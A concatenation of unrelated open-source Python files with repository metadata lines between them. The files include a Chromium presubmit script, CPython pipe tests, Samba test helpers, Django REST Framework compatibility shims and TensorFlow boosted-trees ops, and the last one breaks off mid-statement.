# Copyright (c) 2013 The Chromium Authors. All rights reserved. # Use of this source code is governed by a BSD-style license that can be # found in the LICENSE file. """Top-level presubmit script for auto-bisect. See http://dev.chromium.org/developers/how-tos/depottools/presubmit-scripts for details on the presubmit API. """ import imp import subprocess import os # Paths to bisect config files relative to src/tools. CONFIG_FILES = [ 'auto_bisect/config.cfg', 'run-perf-test.cfg' ] def CheckChangeOnUpload(input_api, output_api): return _CommonChecks(input_api, output_api) def CheckChangeOnCommit(input_api, output_api): return _CommonChecks(input_api, output_api) def _CommonChecks(input_api, output_api): """Does all presubmit checks for auto-bisect.""" results = [] results.extend(_CheckAllConfigFiles(input_api, output_api)) results.extend(_RunUnitTests(input_api, output_api)) results.extend(_RunPyLint(input_api, output_api)) return results def _CheckAllConfigFiles(input_api, output_api): """Checks all bisect config files and returns a list of presubmit results.""" results = [] for f in input_api.AffectedFiles(): for config_file in CONFIG_FILES: if f.LocalPath().endswith(config_file): results.extend(_CheckConfigFile(config_file, output_api)) return results def _CheckConfigFile(file_path, output_api): """Checks one bisect config file and returns a list of presubmit results.""" try: config_file = imp.load_source('config', file_path) except IOError as e: warning = 'Failed to read config file %s: %s' % (file_path, str(e)) return [output_api.PresubmitError(warning, items=[file_path])] if not hasattr(config_file.config): warning = 'Config file has no "config" global variable: %s' % str(e) return [output_api.PresubmitError(warning, items=[file_path])] if type(config_file.config) is not dict: warning = 'Config file "config" global variable is not dict: %s' % str(e) return [output_api.PresubmitError(warning, items=[file_path])] for k, v in config_file.config.iteritems(): if v != '': warning = 'Non-empty value in config dict: %s: %s' % (repr(k), repr(v)) warning += ('\nThe bisection config file should only contain a config ' 'dict with empty fields. Changes to this file should not ' 'be submitted.') return [output_api.PresubmitError(warning, items=[file_path])] return [] def _RunUnitTests(input_api, output_api): """Runs unit tests for auto-bisect.""" repo_root = input_api.change.RepositoryRoot() auto_bisect_dir = os.path.join(repo_root, 'tools', 'auto_bisect') test_runner = os.path.join(auto_bisect_dir, 'run_tests') return_code = subprocess.call(['python', test_runner]) if return_code: message = 'Auto-bisect unit tests did not all pass.' return [output_api.PresubmitError(message)] return [] def _RunPyLint(input_api, output_api): """Runs unit tests for auto-bisect.""" telemetry_path = os.path.join( input_api.PresubmitLocalPath(), os.path.pardir, 'telemetry') tests = input_api.canned_checks.GetPylint( input_api, output_api, extra_paths_list=[telemetry_path]) return input_api.RunTests(tests)
bsd-3-clause
cnsoft/kbengine-cocos2dx
kbe/res/scripts/common/Lib/test/test_pipes.py
54
7175
import pipes import os import string import unittest from test.support import TESTFN, run_unittest, unlink, reap_children if os.name != 'posix': raise unittest.SkipTest('pipes module only works on posix') TESTFN2 = TESTFN + "2" # tr a-z A-Z is not portable, so make the ranges explicit s_command = 'tr %s %s' % (string.ascii_lowercase, string.ascii_uppercase) class SimplePipeTests(unittest.TestCase): def tearDown(self): for f in (TESTFN, TESTFN2): unlink(f) def testSimplePipe1(self): t = pipes.Template() t.append(s_command, pipes.STDIN_STDOUT) f = t.open(TESTFN, 'w') f.write('hello world #1') f.close() with open(TESTFN) as f: self.assertEqual(f.read(), 'HELLO WORLD #1') def testSimplePipe2(self): with open(TESTFN, 'w') as f: f.write('hello world #2') t = pipes.Template() t.append(s_command + ' < $IN > $OUT', pipes.FILEIN_FILEOUT) t.copy(TESTFN, TESTFN2) with open(TESTFN2) as f: self.assertEqual(f.read(), 'HELLO WORLD #2') def testSimplePipe3(self): with open(TESTFN, 'w') as f: f.write('hello world #2') t = pipes.Template() t.append(s_command + ' < $IN', pipes.FILEIN_STDOUT) f = t.open(TESTFN, 'r') try: self.assertEqual(f.read(), 'HELLO WORLD #2') finally: f.close() def testEmptyPipeline1(self): # copy through empty pipe d = 'empty pipeline test COPY' with open(TESTFN, 'w') as f: f.write(d) with open(TESTFN2, 'w') as f: f.write('') t=pipes.Template() t.copy(TESTFN, TESTFN2) with open(TESTFN2) as f: self.assertEqual(f.read(), d) def testEmptyPipeline2(self): # read through empty pipe d = 'empty pipeline test READ' with open(TESTFN, 'w') as f: f.write(d) t=pipes.Template() f = t.open(TESTFN, 'r') try: self.assertEqual(f.read(), d) finally: f.close() def testEmptyPipeline3(self): # write through empty pipe d = 'empty pipeline test WRITE' t = pipes.Template() with t.open(TESTFN, 'w') as f: f.write(d) with open(TESTFN) as f: self.assertEqual(f.read(), d) def testQuoting(self): safeunquoted = string.ascii_letters + string.digits + '@%_-+=:,./' unicode_sample = '\xe9\xe0\xdf' # e + acute accent, a + grave, sharp s unsafe = '"`$\\!' + unicode_sample self.assertEqual(pipes.quote(''), "''") self.assertEqual(pipes.quote(safeunquoted), safeunquoted) self.assertEqual(pipes.quote('test file name'), "'test file name'") for u in unsafe: self.assertEqual(pipes.quote('test%sname' % u), "'test%sname'" % u) for u in unsafe: self.assertEqual(pipes.quote("test%s'name'" % u), "'test%s'\"'\"'name'\"'\"''" % u) def testRepr(self): t = pipes.Template() self.assertEqual(repr(t), "<Template instance, steps=[]>") t.append('tr a-z A-Z', pipes.STDIN_STDOUT) self.assertEqual(repr(t), "<Template instance, steps=[('tr a-z A-Z', '--')]>") def testSetDebug(self): t = pipes.Template() t.debug(False) self.assertEqual(t.debugging, False) t.debug(True) self.assertEqual(t.debugging, True) def testReadOpenSink(self): # check calling open('r') on a pipe ending with # a sink raises ValueError t = pipes.Template() t.append('boguscmd', pipes.SINK) self.assertRaises(ValueError, t.open, 'bogusfile', 'r') def testWriteOpenSource(self): # check calling open('w') on a pipe ending with # a source raises ValueError t = pipes.Template() t.prepend('boguscmd', pipes.SOURCE) self.assertRaises(ValueError, t.open, 'bogusfile', 'w') def testBadAppendOptions(self): t = pipes.Template() # try a non-string command self.assertRaises(TypeError, t.append, 7, pipes.STDIN_STDOUT) # try a type that isn't recognized self.assertRaises(ValueError, t.append, 'boguscmd', 'xx') # shouldn't be able to append a source self.assertRaises(ValueError, t.append, 'boguscmd', pipes.SOURCE) # check appending two sinks t = pipes.Template() t.append('boguscmd', pipes.SINK) self.assertRaises(ValueError, t.append, 'boguscmd', pipes.SINK) # command needing file input but with no $IN t = pipes.Template() self.assertRaises(ValueError, t.append, 'boguscmd $OUT', pipes.FILEIN_FILEOUT) t = pipes.Template() self.assertRaises(ValueError, t.append, 'boguscmd', pipes.FILEIN_STDOUT) # command needing file output but with no $OUT t = pipes.Template() self.assertRaises(ValueError, t.append, 'boguscmd $IN', pipes.FILEIN_FILEOUT) t = pipes.Template() self.assertRaises(ValueError, t.append, 'boguscmd', pipes.STDIN_FILEOUT) def testBadPrependOptions(self): t = pipes.Template() # try a non-string command self.assertRaises(TypeError, t.prepend, 7, pipes.STDIN_STDOUT) # try a type that isn't recognized self.assertRaises(ValueError, t.prepend, 'tr a-z A-Z', 'xx') # shouldn't be able to prepend a sink self.assertRaises(ValueError, t.prepend, 'boguscmd', pipes.SINK) # check prepending two sources t = pipes.Template() t.prepend('boguscmd', pipes.SOURCE) self.assertRaises(ValueError, t.prepend, 'boguscmd', pipes.SOURCE) # command needing file input but with no $IN t = pipes.Template() self.assertRaises(ValueError, t.prepend, 'boguscmd $OUT', pipes.FILEIN_FILEOUT) t = pipes.Template() self.assertRaises(ValueError, t.prepend, 'boguscmd', pipes.FILEIN_STDOUT) # command needing file output but with no $OUT t = pipes.Template() self.assertRaises(ValueError, t.prepend, 'boguscmd $IN', pipes.FILEIN_FILEOUT) t = pipes.Template() self.assertRaises(ValueError, t.prepend, 'boguscmd', pipes.STDIN_FILEOUT) def testBadOpenMode(self): t = pipes.Template() self.assertRaises(ValueError, t.open, 'bogusfile', 'x') def testClone(self): t = pipes.Template() t.append('tr a-z A-Z', pipes.STDIN_STDOUT) u = t.clone() self.assertNotEqual(id(t), id(u)) self.assertEqual(t.steps, u.steps) self.assertNotEqual(id(t.steps), id(u.steps)) self.assertEqual(t.debugging, u.debugging) def test_main(): run_unittest(SimplePipeTests) reap_children() if __name__ == "__main__": test_main()
lgpl-3.0
schleichdi2/openpli-e2
lib/python/Components/Converter/ServiceName.py
24
1939
# -*- coding: utf-8 -*- from Components.Converter.Converter import Converter from enigma import iServiceInformation, iPlayableService, iPlayableServicePtr, eServiceReference from ServiceReference import resolveAlternate from Components.Element import cached class ServiceName(Converter, object): NAME = 0 PROVIDER = 1 REFERENCE = 2 EDITREFERENCE = 3 NUMBER = 4 def __init__(self, type): Converter.__init__(self, type) if type == "Provider": self.type = self.PROVIDER elif type == "Reference": self.type = self.REFERENCE elif type == "EditReference": self.type = self.EDITREFERENCE elif type == "Number": self.type = self.NUMBER else: self.type = self.NAME @cached def getText(self): service = self.source.service if isinstance(service, iPlayableServicePtr): info = service and service.info() ref = None else: # reference info = service and self.source.info ref = service if not info: return "" if self.type == self.NAME: name = ref and info.getName(ref) if name is None: name = info.getName() return name.replace('\xc2\x86', '').replace('\xc2\x87', '') elif self.type == self.PROVIDER: return info.getInfoString(iServiceInformation.sProvider) elif self.type == self.REFERENCE or self.type == self.EDITREFERENCE and hasattr(self.source, "editmode") and self.source.editmode: if not ref: return info.getInfoString(iServiceInformation.sServiceref) nref = resolveAlternate(ref) if nref: ref = nref return ref.toString() elif self.type == self.NUMBER: if not ref: ref = eServiceReference(info.getInfoString(iServiceInformation.sServiceref)) num = ref and ref.getChannelNum() or None if num is None: num = '---' else: num = str(num) return num text = property(getText) def changed(self, what): if what[0] != self.CHANGED_SPECIFIC or what[1] in (iPlayableService.evStart,): Converter.changed(self, what)
gpl-2.0
sYnfo/samba
selftest/target/samba.py
1
4169
#!/usr/bin/perl # Bootstrap Samba and run a number of tests against it. # Copyright (C) 2005-2012 Jelmer Vernooij <[email protected]> # Published under the GNU GPL, v3 or later. from __future__ import absolute_import import os import sys def bindir_path(bindir, path): """Find the executable to use. :param bindir: Directory with binaries :param path: Name of the executable to run :return: Full path to the executable to run """ valpath = os.path.join(bindir, path) if os.path.isfile(valpath): return valpath return path def mk_realms_stanza(realm, dnsname, domain, kdc_ipv4): """Create a realms stanza for use in a krb5.conf file. :param realm: Real name :param dnsname: DNS name matching the realm :param domain: Domain name :param kdc_ipv4: IPv4 address of the KDC :return: String with stanza """ return """\ %(realm)s = { kdc = %(kdc_ipv4)s:88 admin_server = %(kdc_ipv4)s:88 default_domain = %(dnsname)s } %(dnsname)s = { kdc = %(kdc_ipv4)s:88 admin_server = %(kdc_ipv4)s:88 default_domain = %(dnsname)s } %(domain)s = { kdc = %(kdc_ipv4)s:88 admin_server = %(kdc_ipv4)s:88 default_domain = %(dnsname)s } """ % { "kdc_ipv4": kdc_ipv4, "dnsname": dnsname, "realm": realm, "domain": domain} def write_krb5_conf(f, realm, dnsname, domain, kdc_ipv4, tlsdir=None, other_realms_stanza=None): """Write a krb5.conf file. :param f: File-like object to write to :param realm: Realm :param dnsname: DNS domain name :param domain: Domain name :param kdc_ipv4: IPv4 address of KDC :param tlsdir: Optional TLS directory :param other_realms_stanza: Optional extra raw text for [realms] section """ f.write("""\ #Generated krb5.conf for %(realm)s [libdefaults] \tdefault_realm = %(realm)s \tdns_lookup_realm = false \tdns_lookup_kdc = false \tticket_lifetime = 24h \tforwardable = yes \tallow_weak_crypto = yes """ % {"realm": realm}) f.write("\n[realms]\n") f.write(mk_realms_stanza(realm, dnsname, domain, kdc_ipv4)) if other_realms_stanza: f.write(other_realms_stanza) if tlsdir: f.write(""" [appdefaults] pkinit_anchors = FILE:%(tlsdir)s/ca.pem [kdc] enable-pkinit = true pkinit_identity = FILE:%(tlsdir)s/kdc.pem,%(tlsdir)s/key.pem pkinit_anchors = FILE:%(tlsdir)s/ca.pem """ % {"tlsdir": tlsdir}) def cleanup_child(pid, name, outf=None): """Cleanup a child process. :param pid: Parent pid process to be passed to waitpid() :param name: Name to use when referring to process :param outf: File-like object to write to (defaults to stderr) :return: Child pid """ if outf is None: outf = sys.stderr (childpid, status) = os.waitpid(pid, os.WNOHANG) if childpid == 0: pass elif childpid < 0: outf.write("%s child process %d isn't here any more.\n" % (name, pid)) return childpid elif status & 127: if status & 128: core_status = 'with' else: core_status = 'without' outf.write("%s child process %d, died with signal %d, %s coredump.\n" % (name, childpid, (status & 127), core_status)) else: outf.write("%s child process %d exited with value %d.\n" % (name, childpid, status >> 8)) return childpid def get_interface(netbiosname): """Return interface id for a particular server. """ netbiosname = netbiosname.lower() interfaces = { "localnt4dc2": 2, "localnt4member3": 3, "localshare4": 4, "localserver5": 5, "localktest6": 6, "maptoguest": 7, # 11-16 used by selftest.pl for client interfaces "localdc": 21, "localvampiredc": 22, "s4member": 23, "localrpcproxy": 24, "dc5": 25, "dc6": 26, "dc7": 27, "rodc": 28, "localadmember": 29, "addc": 30, "localsubdc": 31, "chgdcpass": 32, } # update lib/socket_wrapper/socket_wrapper.c # #define MAX_WRAPPED_INTERFACES 32 # if you wish to have more than 32 interfaces return interfaces[netbiosname]
gpl-3.0
isabernardes/Heriga
Herigaenv/lib/python2.7/site-packages/django/contrib/gis/geos/base.py
437
1280
from ctypes import c_void_p from django.contrib.gis.geos.error import GEOSException class GEOSBase(object): """ Base object for GEOS objects that has a pointer access property that controls access to the underlying C pointer. """ # Initially the pointer is NULL. _ptr = None # Default allowed pointer type. ptr_type = c_void_p # Pointer access property. def _get_ptr(self): # Raise an exception if the pointer isn't valid don't # want to be passing NULL pointers to routines -- # that's very bad. if self._ptr: return self._ptr else: raise GEOSException('NULL GEOS %s pointer encountered.' % self.__class__.__name__) def _set_ptr(self, ptr): # Only allow the pointer to be set with pointers of the # compatible type or None (NULL). if ptr is None or isinstance(ptr, self.ptr_type): self._ptr = ptr else: raise TypeError('Incompatible pointer type') # Property for controlling access to the GEOS object pointers. Using # this raises an exception when the pointer is NULL, thus preventing # the C library from attempting to access an invalid memory location. ptr = property(_get_ptr, _set_ptr)
mit
whatsthehubbub/playpilots
ebi/actstream/tests.py
2
4691
import unittest from django.db import models from django.test.client import Client from django.contrib.auth.models import User, Group from django.contrib.comments.models import Comment from django.contrib.contenttypes.models import ContentType from django.contrib.sites.models import Site from actstream.signals import action from actstream.models import Action, Follow, follow, user_stream, model_stream, actor_stream from testapp.models import Player class ActivityTestCase(unittest.TestCase): def setUp(self): self.group = Group.objects.get_or_create(name='CoolGroup')[0] self.user1 = User.objects.get_or_create(username='admin')[0] self.user1.set_password('admin') self.user1.is_superuser = self.user1.is_active = self.user1.is_staff = True self.user1.save() self.user2 = User.objects.get_or_create(username='Two')[0] # User1 joins group self.user1.groups.add(self.group) action.send(self.user1,verb='joined',target=self.group) # User1 follows User2 follow(self.user1, self.user2) # User2 joins group self.user2.groups.add(self.group) action.send(self.user2,verb='joined',target=self.group) # User2 follows group follow(self.user2, self.group) # User1 comments on group action.send(self.user1,verb='commented on',target=self.group) comment = Comment.objects.get_or_create( user = self.user1, content_type = ContentType.objects.get_for_model(self.group), object_pk = self.group.pk, comment = 'Sweet Group!', site = Site.objects.get_current() )[0] # Group responds to comment action.send(self.group,verb='responded to',target=comment) self.client = Client() def test_user1(self): self.assertEqual(map(unicode, actor_stream(self.user1)), [u'admin commented on CoolGroup 0 minutes ago', u'admin started following Two 0 minutes ago', u'admin joined CoolGroup 0 minutes ago']) def test_user2(self): self.assertEqual(map(unicode, actor_stream(self.user2)), [u'Two started following CoolGroup 0 minutes ago', u'Two joined CoolGroup 0 minutes ago']) def test_group(self): self.assertEqual(map(unicode, actor_stream(self.group)), [u'CoolGroup responded to admin: Sweet Group!... 0 minutes ago']) def test_stream(self): self.assertEqual(map(unicode, user_stream(self.user1)), [u'Two started following CoolGroup 0 minutes ago', u'Two joined CoolGroup 0 minutes ago']) self.assertEqual(map(unicode, user_stream(self.user2)), [u'CoolGroup responded to admin: Sweet Group!... 0 minutes ago']) def test_rss(self): rss = self.client.get('/feed/').content self.assert_(rss.startswith('<?xml version="1.0" encoding="utf-8"?>\n<rss xmlns:atom="http://www.w3.org/2005/Atom" version="2.0">')) self.assert_(rss.find('Activity feed for your followed actors')>-1) def test_atom(self): atom = self.client.get('/feed/atom/').content self.assert_(atom.startswith('<?xml version="1.0" encoding="utf-8"?>\n<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en-us">')) self.assert_(atom.find('Activity feed for your followed actors')>-1) def test_zombies(self): from random import choice, randint humans = [Player.objects.create() for i in range(10)] zombies = [Player.objects.create(state=1) for _ in range(2)] while len(humans): for z in zombies: if not len(humans): break victim = choice(humans) humans.pop(humans.index(victim)) victim.state = 1 victim.save() zombies.append(victim) action.send(z,verb='killed',target=victim) self.assertEqual(map(unicode,model_stream(Player))[:5], map(unicode,Action.objects.order_by('-timestamp')[:5])) def tearDown(self): from django.core.serializers import serialize for i,m in enumerate((Comment,ContentType,Player,Follow,Action,User,Group)): f = open('testdata%d.json'%i,'w') f.write(serialize('json',m.objects.all())) f.close() Action.objects.all().delete() Comment.objects.all().delete() Player.objects.all().delete() User.objects.all().delete() Group.objects.all().delete() Follow.objects.all().delete()
mit
ryfeus/lambda-packs
Tensorflow/source/tensorflow/contrib/boosted_trees/python/ops/stats_accumulator_ops.py
62
9211
# Copyright 2017 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ============================================================================== """Stats Accumulator ops python wrappers.""" from __future__ import absolute_import from __future__ import division from __future__ import print_function import re from tensorflow.contrib.boosted_trees.python.ops import batch_ops_utils # pylint: disable=unused-import from tensorflow.contrib.boosted_trees.python.ops import boosted_trees_ops_loader # pylint: enable=unused-import from tensorflow.contrib.boosted_trees.python.ops import gen_stats_accumulator_ops from tensorflow.python.framework import ops from tensorflow.python.framework import tensor_shape from tensorflow.python.ops import resources from tensorflow.python.training import saver # Pattern to remove all non alpha numeric from a string. _PATTERN = re.compile(r"[\W_]+") class StatsAccumulator(saver.BaseSaverBuilder.SaveableObject): """A resource that allows to accumulate gradients and hessians. For consistency guarantees, we use read and write stamp tokens. The stamp token on the resource is updated with StatsAccumulator.flush. Calls to StatsAccumulator.add that don't provide the current stamp token are ignored. """ def __init__(self, stamp_token, gradient_shape, hessian_shape, name=None, container=None): """Creates a stats accumulator and returns a handle to it. Args: stamp_token: An int64, initial value to use for the stamp token. gradient_shape: A TensorShape, containing shape of gradients. hessian_shape: A TensorShape, containing shape of hessians. name: A name for the stats accumulator variable. container: An optional `string`. Defaults to `""`. Returns: A `Tensor` of type mutable `string`. The handle to the stats accumulator. """ if name is not None: name = _PATTERN.sub("", name) with ops.name_scope(name, "StatsAccumulator") as name: # Both values are scalars. if (gradient_shape == tensor_shape.scalar() and hessian_shape == tensor_shape.scalar()): self._is_scalar = True self._resource_handle = (gen_stats_accumulator_ops. stats_accumulator_scalar_resource_handle_op( container, name, name=name)) create_op = gen_stats_accumulator_ops.create_stats_accumulator_scalar( self._resource_handle, stamp_token) is_initialized_op = ( gen_stats_accumulator_ops.stats_accumulator_scalar_is_initialized( self._resource_handle)) else: self._is_scalar = False self._resource_handle = (gen_stats_accumulator_ops. stats_accumulator_tensor_resource_handle_op( container, name, name=name)) create_op = gen_stats_accumulator_ops.create_stats_accumulator_tensor( self._resource_handle, stamp_token, gradient_shape.as_list(), hessian_shape.as_list()) is_initialized_op = ( gen_stats_accumulator_ops.stats_accumulator_tensor_is_initialized( self._resource_handle)) self._create_op = create_op slice_spec = "" saver_name = self._resource_handle.name (stamp_token, num_updates, partition_ids, feature_ids, gradients, hessians) = self.serialize() specs = [ saver.BaseSaverBuilder.SaveSpec(stamp_token, slice_spec, saver_name + "_stamp"), saver.BaseSaverBuilder.SaveSpec(num_updates, slice_spec, saver_name + "_num_updates"), saver.BaseSaverBuilder.SaveSpec(partition_ids, slice_spec, saver_name + "_partition_ids"), saver.BaseSaverBuilder.SaveSpec(feature_ids, slice_spec, saver_name + "_feature_ids"), saver.BaseSaverBuilder.SaveSpec(gradients, slice_spec, saver_name + "_gradients"), saver.BaseSaverBuilder.SaveSpec(hessians, slice_spec, saver_name + "hessians"), ] super(StatsAccumulator, self).__init__(self._resource_handle, specs, name) resources.register_resource(self._resource_handle, create_op, is_initialized_op) ops.add_to_collection(ops.GraphKeys.SAVEABLE_OBJECTS, self) def add(self, stamp_token, partition_ids, feature_ids, gradients, hessians): """Updates the stats accumulator.""" partition_ids, feature_ids, gradients, hessians = (self._make_summary( partition_ids, feature_ids, gradients, hessians)) if self._is_scalar: return gen_stats_accumulator_ops.stats_accumulator_scalar_add( [self._resource_handle], stamp_token, [partition_ids], [feature_ids], [gradients], [hessians]) else: return gen_stats_accumulator_ops.stats_accumulator_tensor_add( [self._resource_handle], stamp_token, [partition_ids], [feature_ids], [gradients], [hessians]) def schedule_add(self, partition_ids, feature_ids, gradients, hessians): """Schedules an update to the stats accumulator.""" partition_ids, feature_ids, gradients, hessians = (self._make_summary( partition_ids, feature_ids, gradients, hessians)) if self._is_scalar: return batch_ops_utils.ScheduledStampedResourceOp( op=gen_stats_accumulator_ops.stats_accumulator_scalar_add, resource_handle=self._resource_handle, partition_ids=partition_ids, feature_ids=feature_ids, gradients=gradients, hessians=hessians) else: return batch_ops_utils.ScheduledStampedResourceOp( op=gen_stats_accumulator_ops.stats_accumulator_tensor_add, resource_handle=self._resource_handle, partition_ids=partition_ids, feature_ids=feature_ids, gradients=gradients, hessians=hessians) def _make_summary(self, partition_ids, feature_ids, gradients, hessians): if self._is_scalar: return gen_stats_accumulator_ops.stats_accumulator_scalar_make_summary( partition_ids, feature_ids, gradients, hessians) else: return gen_stats_accumulator_ops.stats_accumulator_tensor_make_summary( partition_ids, feature_ids, gradients, hessians) def deserialize(self, stamp_token, num_updates, partition_ids, feature_ids, gradients, hessians): """Resets the stats accumulator with the serialized state.""" if self._is_scalar: return gen_stats_accumulator_ops.stats_accumulator_scalar_deserialize( self._resource_handle, stamp_token, num_updates, partition_ids, feature_ids, gradients, hessians) else: return gen_stats_accumulator_ops.stats_accumulator_tensor_deserialize( self._resource_handle, stamp_token, num_updates, partition_ids, feature_ids, gradients, hessians) def flush(self, stamp_token, next_stamp_token): """Flushes the stats accumulator.""" if self._is_scalar: return gen_stats_accumulator_ops.stats_accumulator_scalar_flush( self._resource_handle, stamp_token, next_stamp_token) else: return gen_stats_accumulator_ops.stats_accumulator_tensor_flush( self._resource_handle, stamp_token, next_stamp_token) def serialize(self): """Serializes the stats accumulator state.""" if self._is_scalar: return gen_stats_accumulator_ops.stats_accumulator_scalar_serialize( self._resource_handle) else: return gen_stats_accumulator_ops.stats_accumulator_tensor_serialize( self._resource_handle) def restore(self, restored_tensors, unused_restored_shapes): """Restores the associated tree ensemble from 'restored_tensors'. Args: restored_tensors: the tensors that were loaded from a checkpoint. unused_restored_shapes: the shapes this object should conform to after restore. Not meaningful for trees. Returns: The operation that restores the state of the tree ensemble variable. """ with ops.control_dependencies([self._create_op]): return self.deserialize( stamp_token=restored_tensors[0], num_updates=restored_tensors[1], partition_ids=restored_tensors[2], feature_ids=restored_tensors[3], gradients=restored_tensors[4], hessians=restored_tensors[5]) def resource(self): return self._resource_handle
mit
devs1991/test_edx_docmode
venv/lib/python2.7/site-packages/rest_framework/compat.py
29
7549
""" The `compat` module provides support for backwards compatibility with older versions of Django/Python, and compatibility wrappers around optional packages. """ # flake8: noqa from __future__ import unicode_literals import django from django.conf import settings from django.db import connection, transaction from django.utils import six from django.views.generic import View try: import importlib # Available in Python 3.1+ except ImportError: from django.utils import importlib # Will be removed in Django 1.9 def unicode_repr(instance): # Get the repr of an instance, but ensure it is a unicode string # on both python 3 (already the case) and 2 (not the case). if six.PY2: return repr(instance).decode('utf-8') return repr(instance) def unicode_to_repr(value): # Coerce a unicode string to the correct repr return type, depending on # the Python version. We wrap all our `__repr__` implementations with # this and then use unicode throughout internally. if six.PY2: return value.encode('utf-8') return value def unicode_http_header(value): # Coerce HTTP header value to unicode. if isinstance(value, six.binary_type): return value.decode('iso-8859-1') return value def total_seconds(timedelta): # TimeDelta.total_seconds() is only available in Python 2.7 if hasattr(timedelta, 'total_seconds'): return timedelta.total_seconds() else: return (timedelta.days * 86400.0) + float(timedelta.seconds) + (timedelta.microseconds / 1000000.0) def distinct(queryset, base): if settings.DATABASES[queryset.db]["ENGINE"] == "django.db.backends.oracle": # distinct analogue for Oracle users return base.filter(pk__in=set(queryset.values_list('pk', flat=True))) return queryset.distinct() # OrderedDict only available in Python 2.7. # This will always be the case in Django 1.7 and above, as these versions # no longer support Python 2.6. # For Django <= 1.6 and Python 2.6 fall back to SortedDict. try: from collections import OrderedDict except ImportError: from django.utils.datastructures import SortedDict as OrderedDict # contrib.postgres only supported from 1.8 onwards. try: from django.contrib.postgres import fields as postgres_fields except ImportError: postgres_fields = None # django-filter is optional try: import django_filters except ImportError: django_filters = None if django.VERSION >= (1, 6): def clean_manytomany_helptext(text): return text else: # Up to version 1.5 many to many fields automatically suffix # the `help_text` attribute with hardcoded text. def clean_manytomany_helptext(text): if text.endswith(' Hold down "Control", or "Command" on a Mac, to select more than one.'): text = text[:-69] return text # Django-guardian is optional. Import only if guardian is in INSTALLED_APPS # Fixes (#1712). We keep the try/except for the test suite. guardian = None try: import guardian import guardian.shortcuts # Fixes #1624 except ImportError: pass def get_model_name(model_cls): try: return model_cls._meta.model_name except AttributeError: # < 1.6 used module_name instead of model_name return model_cls._meta.module_name # MinValueValidator, MaxValueValidator et al. only accept `message` in 1.8+ if django.VERSION >= (1, 8): from django.core.validators import MinValueValidator, MaxValueValidator from django.core.validators import MinLengthValidator, MaxLengthValidator else: from django.core.validators import MinValueValidator as DjangoMinValueValidator from django.core.validators import MaxValueValidator as DjangoMaxValueValidator from django.core.validators import MinLengthValidator as DjangoMinLengthValidator from django.core.validators import MaxLengthValidator as DjangoMaxLengthValidator class MinValueValidator(DjangoMinValueValidator): def __init__(self, *args, **kwargs): self.message = kwargs.pop('message', self.message) super(MinValueValidator, self).__init__(*args, **kwargs) class MaxValueValidator(DjangoMaxValueValidator): def __init__(self, *args, **kwargs): self.message = kwargs.pop('message', self.message) super(MaxValueValidator, self).__init__(*args, **kwargs) class MinLengthValidator(DjangoMinLengthValidator): def __init__(self, *args, **kwargs): self.message = kwargs.pop('message', self.message) super(MinLengthValidator, self).__init__(*args, **kwargs) class MaxLengthValidator(DjangoMaxLengthValidator): def __init__(self, *args, **kwargs): self.message = kwargs.pop('message', self.message) super(MaxLengthValidator, self).__init__(*args, **kwargs) # URLValidator only accepts `message` in 1.6+ if django.VERSION >= (1, 6): from django.core.validators import URLValidator else: from django.core.validators import URLValidator as DjangoURLValidator class URLValidator(DjangoURLValidator): def __init__(self, *args, **kwargs): self.message = kwargs.pop('message', self.message) super(URLValidator, self).__init__(*args, **kwargs) # EmailValidator requires explicit regex prior to 1.6+ if django.VERSION >= (1, 6): from django.core.validators import EmailValidator else: from django.core.validators import EmailValidator as DjangoEmailValidator from django.core.validators import email_re class EmailValidator(DjangoEmailValidator): def __init__(self, *args, **kwargs): super(EmailValidator, self).__init__(email_re, *args, **kwargs) # PATCH method is not implemented by Django if 'patch' not in View.http_method_names: View.http_method_names = View.http_method_names + ['patch'] # Markdown is optional try: import markdown def apply_markdown(text): """ Simple wrapper around :func:`markdown.markdown` to set the base level of '#' style headers to <h2>. """ extensions = ['headerid(level=2)'] safe_mode = False md = markdown.Markdown(extensions=extensions, safe_mode=safe_mode) return md.convert(text) except ImportError: apply_markdown = None # `separators` argument to `json.dumps()` differs between 2.x and 3.x # See: http://bugs.python.org/issue22767 if six.PY3: SHORT_SEPARATORS = (',', ':') LONG_SEPARATORS = (', ', ': ') INDENT_SEPARATORS = (',', ': ') else: SHORT_SEPARATORS = (b',', b':') LONG_SEPARATORS = (b', ', b': ') INDENT_SEPARATORS = (b',', b': ') if django.VERSION >= (1, 8): from django.db.models import DurationField from django.utils.dateparse import parse_duration from django.utils.duration import duration_string else: DurationField = duration_string = parse_duration = None def set_rollback(): if hasattr(transaction, 'set_rollback'): if connection.settings_dict.get('ATOMIC_REQUESTS', False): # If running in >=1.6 then mark a rollback as required, # and allow it to be handled by Django. if connection.in_atomic_block: transaction.set_rollback(True) elif transaction.is_managed(): # Otherwise handle it explicitly if in managed mode. if transaction.is_dirty(): transaction.rollback() transaction.leave_transaction_management() else: # transaction not managed pass
agpl-3.0
MichaelNedzelsky/intellij-community
python/testData/refactoring/pullup/pyPullUpInfoModel.py
80
1827
class EmptyParent:pass class SomeParent: PARENT_CLASS_FIELD = 42 def __init__(self): self.parent_instance_field = "egg" def parent_func(self): pass class ChildWithDependencies(SomeParent, EmptyParent): CLASS_FIELD_FOO = 42 CLASS_FIELD_DEPENDS_ON_CLASS_FIELD_FOO = CLASS_FIELD_FOO CLASS_FIELD_DEPENDS_ON_PARENT_FIELD = SomeParent.PARENT_CLASS_FIELD def __init__(self): SomeParent.__init__(self) self.instance_field_bar = 42 self.depends_on_instance_field_bar = self.instance_field_bar self.depends_on_class_field_foo = ChildWithDependencies.CLASS_FIELD_FOO @property def new_property(self): return 1 def _set_prop(self, val): pass def _get_prop(self): return 1 def _del_prop(self): pass old_property = property(fset=_set_prop) old_property_2 = property(fget=_get_prop) old_property_3 = property(fdel=_del_prop) @property def new_property(self): return 1 @new_property.setter def new_property(self, val): pass @property def new_property_2(self): return 1 def normal_method(self): pass def method_depends_on_parent_method(self): self.parent_func() pass def method_depends_on_parent_field(self): i = self.parent_instance_field pass def method_depends_on_normal_method(self): self.normal_method() def method_depends_on_instance_field_bar(self): eggs = self.instance_field_bar def method_depends_on_old_property(self): i = 12 self.old_property = i q = self.old_property_2 del 